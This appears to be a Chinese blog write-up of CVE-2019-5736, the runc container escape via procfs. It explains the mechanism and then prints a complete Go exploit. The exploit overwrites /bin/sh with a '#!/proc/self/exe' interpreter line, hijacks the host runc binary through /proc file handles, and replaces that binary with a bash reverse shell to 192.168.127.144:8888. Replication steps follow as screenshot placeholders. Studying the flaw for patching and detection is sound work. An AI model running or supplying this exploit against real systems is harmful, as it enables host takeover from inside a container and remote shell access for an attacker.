CVE-2019-5736:Docker容器挂载procfs逃逸

前置知识

runc

docker run nginx
      │
      ▼
 Docker Engine
      │
      ▼
  containerd
      │
      ▼
     runc
      │
      ▼
 Linux Kernel
(namespace / cgroup / mount / seccomp ...)
      │
      ▼
 nginx 进程

runc 是一个底层容器运行时,实现了 OCI Runtime Specification,主要负责根据 OCI 配置创建和启动容器进程。Docker 本身不会直接负责最底层的容器进程创建,而是通过 containerd 调用 runc。runc 根据 OCI 的 config.json 和 rootfs,配置 namespace、cgroup、mount、capabilities、seccomp 等,然后创建容器进程。所以容器本质上并不是虚拟机,而是一个被隔离和资源限制的 Linux 进程。

procfs

procfs是展示系统进程状态的虚拟文件系统 ,包含敏感信息。直接将其挂载到不受控的容器内,特别是容器默认拥有root权限且未启用用户隔离时,将极大地增加安全风险。因此,需谨慎处理,确保容器环境安全隔离

漏洞原理

影响版本:docker version <=18.09.2 RunC version <=1.0-rc6

漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令导致提权

其核心在于利用Linux /proc 文件系统的特性,实现对宿主机上 runc 程序的篡改。

  1. 替换容器内关键程序:攻击者在容器内部,将 /bin/sh 这样的关键可执行文件,替换为一个指向 /proc/self/exe 的脚本。/proc/self/exe 是一个指向当前运行程序本身的符号链接。
  2. 等待触发时机:当管理员在宿主机上对容器执行操作(如 docker exec)时,宿主机上的 runc 程序会被启动,并进入容器环境执行命令。
  3. 执行恶意脚本runc 进程进入容器后,会尝试执行 /bin/sh。由于 /bin/sh 已被替换,实际执行的是指向 /proc/self/exe 的脚本,也就是重新执行了 runc 自身
  4. 获取并篡改文件句柄:这个新启动的恶意 runc 进程(在容器内但身份是宿主机的 runc),通过 /proc/[pid]/exe 获取到宿主机上 runc 二进制文件的文件句柄。
  5. 覆盖宿主机文件:恶意进程利用获取到的句柄,通过 /proc/self/fd/ 以写入方式重新打开该文件,并循环尝试覆盖宿主机的 runc 文件。由于 runc 进程在退出时,内核会解除对其二进制文件的锁定,此时写入便会成功。
  6. 实现完全逃逸:宿主机的 runc 被覆盖为恶意程序。此后,任何需要调用 runc 的操作(如新的 docker exec)都会执行攻击者的代码,从而实现完全的宿主机控制。

POC

package main
import (
    "fmt"
    "io/ioutil"
    "os"
    "strconv"
    "strings"
    "flag"
)


var shellCmd string

func init() {
    flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
    flag.Parse()
}

func main() {
    // This is the line of shell commands that will execute on the host
    var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.127.144/8888 0>&1"
    // First we overwrite /bin/sh with the /proc/self/exe interpreter path
    fd, err := os.Create("/bin/sh")
    if err != nil {
        fmt.Println(err)
        return
    }
    fmt.Fprintln(fd, "#!/proc/self/exe")
    err = fd.Close()
    if err != nil {
        fmt.Println(err)
        return
    }
    fmt.Println("[+] Overwritten /bin/sh successfully")

    // Loop through all processes to find one whose cmdline includes runcinit
    // This will be the process created by runc
    var found int
    for found == 0 {
        pids, err := ioutil.ReadDir("/proc")
        if err != nil {
            fmt.Println(err)
            return
        }
        for _, f := range pids {
            fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
            fstring := string(fbytes)
            if strings.Contains(fstring, "runc") {
                fmt.Println("[+] Found the PID:", f.Name())
                found, err = strconv.Atoi(f.Name())
                if err != nil {
                    fmt.Println(err)
                    return
                }
            }
        }
    }

    // We will use the pid to get a file handle for runc on the host.
    var handleFd = -1
    for handleFd == -1 {
        // Note, you do not need to use the O_PATH flag for the exploit to work.
        handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
        if int(handle.Fd()) > 0 {
            handleFd = int(handle.Fd())
        }
    }
    fmt.Println("[+] Successfully got the file handle")

    // Now that we have the file handle, lets write to the runc binary and overwrite it
    // It will maintain it's executable flag
    for {
        writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
        if int(writeHandle.Fd()) > 0 {
            fmt.Println("[+] Successfully got write handle", writeHandle)
            fmt.Println("[+] The command executed is" + payload)
            writeHandle.Write([]byte(payload))
            return
        }
    }
}

设置好需要反弹shell的靶机ip

漏洞复现

上传并编译POC

image-20260906134538148

把POC上传并增加权限

image-20260906140214491

监听端口

image-20260906140253746

运行POC

image-20260906140318917

触发漏洞反弹shell

image-20260906140344054

image-20260906140456345

标签: none

添加新评论

邮箱仅用于识别回复,不会在页面公开。提交后请等待页面确认结果。

文章图片预览